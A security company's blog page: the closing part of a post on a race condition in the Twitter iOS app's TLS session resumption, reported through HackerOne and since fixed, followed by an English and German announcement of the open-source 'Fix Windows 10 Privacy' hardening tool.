After opening a Hackerone bug report with Twitter I took some time to further investigate the issue. Changing the seemingly unrelated location of the DHCP server in our test setup from the interception device to the WiFi access point made the bug non-reproducible. Moving the DHCP server back to the interception device the issue was reproducible again. This could only mean this was a bug that needed exact timing of certain network related packets. After a lot of back and forth, I was certain that this has to be a race condition/thread safety problem.

Dissecting the network packets with Wireshark, I was able to spot the bug. It seems that if the server certificate in the server hello packet is invalid, the TLS session is not removed fast enough/in a thread safe manner from the TLS connection pool. If the race condition is triggered, this TLS session will be reused for another TLS connection (TLS session resumption). During the TLS session resumption the server hello packet will not include a server certificate. The TLS session is already trusted and the client has no second opportunity to check the server certificate. If an attacker is able to conduct such an attack, the authentication mechanism of TLS is broken, allowing extraction of sensitive OAuth tokens, redirecting the Twitter app via HTTP redirect messages and other traffic manipulations.

I was not able to reproduce the issue on iOS 10. Twitter additionally fixed the issue on their side in Twitter iOS version 6.44, but noted that this was probably related to an Apple bug. We did not further investigate the issue, but the assumption seems plausible.

The issue was rated high severity by Twitter. The entire details are published on Hackerone.


Posted by Tobias Ospelt | Permanent link | File under: mobile, security, crypto, apple

2016-11-14

Fix Windows 10 Privacy

Fix Windows 10 Privacy

Eine Deutsche Version befindet sich weiter unten - German version below

English Version

What & Why?

With the release of Microsoft's Windows 10 operating system, several innovations have been introduced to the market regarding the privacy settings. What is normality with Apple since long and apparently has been accepted by OSX users, now also became reality for Microsoft users: The analysis of use data and behavior by the US American creator of the software.

Over time more and more users published instructions on how to break Microsoft's habit of spying on their users, including for private users whose computers are not part of a company or enterprise domain. I was annoyed that this leads to manually clicking checkmarks on a graphical user interface or running confusing PowerShell scripts and merge several single rule-sets. With the webpage https://fix10.isleaked.com/ I had the idea to build a tool, which is easily extendable and configurable and can automate the process of reaching an adequate level of privacy on the press of a button.

Fix Windows 10 Privacy can be used via a GUI or the commandline. Right now it implements about 130 rules, which keep Windows 10 in check, regarding data protection.

In particular, the new rules for enhanced privacy cover Windows 10 Telemetry: Microsoft collects telemetry data to identify security and reliablity issues and uses diagnostic data of the operating system to analyse and fix problems. However, data that is collected by Microsoft might probably also be used for future business cases. Telemetry data could contain senstive data and personally identifiable information. This is why several Windows Services are disabled by the privacy tools and policies are set, to deny the operating system to collect and send such data.

Furthermore, several data leaks are plugged which allow third-party vendors or website owners to query sensitive information about the user. This includes but is not limited to several Web browser restrictions, to prohibit telemetry and "more efficient advertisement".

The settings for querying geolocation data, access to caller history information, microphone etc. are configured to allow access by default within the "Privacy"-settings interface. Access to this information is restricted by Fix Windows Privacy as well, and must explicitly be enabled by the user, if access shall be granted.

Another breach of privacy that probably is not well known to most users is the storage of application data within the OneDrive Cloud of Microsoft or the usage of Microsofts AI assistant "Cortana". Fix Windows Privacy denies automatic storage of application data such as browser profiles in the OneDrive cloud and disables OneDrive integration on the Windows 10 operating system. Whenever storage of data in the OneDrive cloud is desired, the user must enable OneDrive again.

Several changes at the Bitlocker configuration are not as relevant from a data protection point of view, but nontheless important for general protection when using Bitlocker full disc encryption. This includes for example activating the Pre Boot Authentification, so the hard drive will not be decrypted before entering the passphrase and will not be decrypted automatically when a TPM chip is used. In the default configuration Microsoft only allows digits for the passphrase. Fix Windows Privacy changes the Windows config to enable complex passphrases as well.

With this tool users have the possibility to check at any time (for example after updates) if any privacy relevant setting is still in the desired state. With another single click all such issues can be fixed again.

The tool and all rules are open-sourced on https://modzero.github.io/fix-windows-privacy/ and respectively https://github.com/modzero/fix-windows-privacy.

In order to extend or modify the rules, all one has to do is to edit an XML file, in which all rules are defined. It is not possible to deselect any rules in the current release of the Fix Windows 10 Privacy Tool. An editor for selectiong rules to apply is planned for a future release.

OneDrive Cloud users or users of others of the above mentioned features should refrain from using this tool at this time, because the functionality of these services will be limited or disabled after running it.

More information and a software download is available on the project web-page at https://modzero.github.io/fix-windows-privacy/

Deutsche Version

Was und Warum?

Mit der Veröffentlichung von Microsofts Windows 10 wurden auch einige Neuerungen bezüglich der Privatsphäre-Einstellungen des Betriebssystems auf den Markt gebracht. Was bei Apple schon lange Normalität ist und von OSX-Benutzern anscheinend akzeptiert wird, ist auch bei Microsoft Realität geworden: das Auswerten von Daten und Nutzerverhalten durch den US-amerikanischen Hersteller der Software.

Im Laufe der Zeit veröffentlichten mehr und mehr Benutzer Anleitungen, wie Microsoft das Ausschnüffeln der Benutzer abgewöhnt werden kann, und zwar auch fuer Privatnutzer, deren Rechner nicht Teil einer Unternehmens-Domäne sind. Mich hat daran nur gestört, dass es entweder darauf hinauslief, in einer grafischen Konfigurations-Oberfläche manuell Haken zu setzen oder auf unübersichtliche PowerShell-Scripte zurückzugreifen und die einzelnen Konfigurationen zusammenzuführen. Mit der Website https://fix10.isleaked.com/ kam mir die Idee, ein Werkzeug zu bauen, welches sich schnell erweitern und konfigurieren lässt und das auf Knopfdruck oder automatisiert ein angemessenes Niveau an Privatsphäre herstellt.

Fix Windows 10 Privacy kann über eine grafische Oberfläche oder ein Konsolen-Programm genutzt werden. Es setzt derzeit etwa 130 Regeln um, die Windows 10 in Sachen Datenschutz in die Schranken weisen.

Zu den neuen Schranken gehört insbesondere die Windows 10 Telemetrie: Microsoft sammelt Diagnose-Daten und Informationen über das Nutzerverhalten, um die eigenen Produkte verbessern zu können, im Zweifelsfall aber auch für sonstige wirtschaftliche Zwecke. Diese Daten können sensible Details enthalten, daher werden Windows-Dienste deaktiviert und Richtlinien gesetzt, die es dem Betriebssystem untersagen, diese Daten zu sammeln und an Microsoft zu senden.

Als weiterer Schritt werden zahlreiche Datenlecks gestopft, die es den Herstellern von Software oder Betreibern von Webseiten erlauben, Informationen über den Benutzer zu erhalten. Hierzu gehören strengere Web-Browser-Restriktionen, um Telemetrie und effektivere Werbung zu verbieten. Die in den Privatsphäre-Einstellungen per Default auf erlaubt gesetzten Konfigurationen für den Zugriff auf Standortinformationen, Anrufer-Historie, Mikrofon, etc. werden ebenfalls eingeschränkt und müssen dann explizit freigegeben werden.

Ein weiteres Datenleck, das den Nutzern oft zu wenig bekannt sein dürfte, ist die Speicherung zahlreicher Daten in der OneDrive Cloud von Microsoft oder die Verwendung des KI-Assistenten Cortana. Fix Windows Privacy verbietet die automatische Speicherung von Anwendungsdaten wie Browser-Profilen in der Cloud und deaktiviert die OneDrive-Integration auf dem System, sodass die Speicherung von Daten in der Microsoft-Cloud nun explizit freigegeben werden muss.

Aus Datenschutz-Sicht weniger relevant, jedoch für das allgemeine Schutzniveau bei Nutzung der Bitlocker-Festplattenverschlüsselung förderlich, sind zahlreiche Änderungen an der Bitlocker-Konfiguration. Hierzu gehört beispielsweise die Aktivierung einer Pre-Boot-Authentifizierung, sodass die Festplatte bis zur Eingabe der Passphrase verschlüsselt bleibt und bei der Verwendung von TPM-Chips nicht automatisch entsperrt wird. In der Standard-Einstellung erlaubt Microsoft für das Passwort lediglich Ziffern - Fix Windows Privacy passt die Windows Konfiguration so an, dass auch komplexere Passphrasen erlaubt werden.

Benutzer haben mit dem Tool die Möglichkeit, jederzeit (zum Beispiel nach Updates) zu überprüfen, ob Datenschutz-relevante Einstellungen immer noch dem gewünschten Zustand entsprechen. Mit einem weiteren Klick können die Probleme behoben werden.

Das Werkzeug und alle Regeln sind als Open Source Projekt auf GitHub unter https://modzero.github.io/fix-windows-privacy/ bzw. https://github.com/modzero/fix-windows-privacy veröffentlicht.

Zur Erweiterung oder Änderung der Regeln ist es lediglich notwendig, eine XML-Datei zu editieren, in der die Regeln definiert sind. In der jetzigen Version des Fix Windows 10 Privacy Tools ist es noch nicht möglich, einzelne Regeln auszuschließen ein Editor für die einzelnen Regeln ist für eine Folgeversion geplant.

Nutzer der OneDrive Cloud oder anderer oben erwähnten Features, sollten derzeit von der Benutzung des Tools absehen, da die Funktionalität dieser Dienste anschließend nicht oder nur eingeschränkt zur Verfügung stehen.

Weitere Informationen und die Software selbst sind auf der Projekt-Website verfügbar: https://modzero.github.io/fix-windows-privacy/

View the Project on GitHub modzero/fix-windows-privacy


Posted by ths | Permanent link | File under: modzero, security, opensource, software, github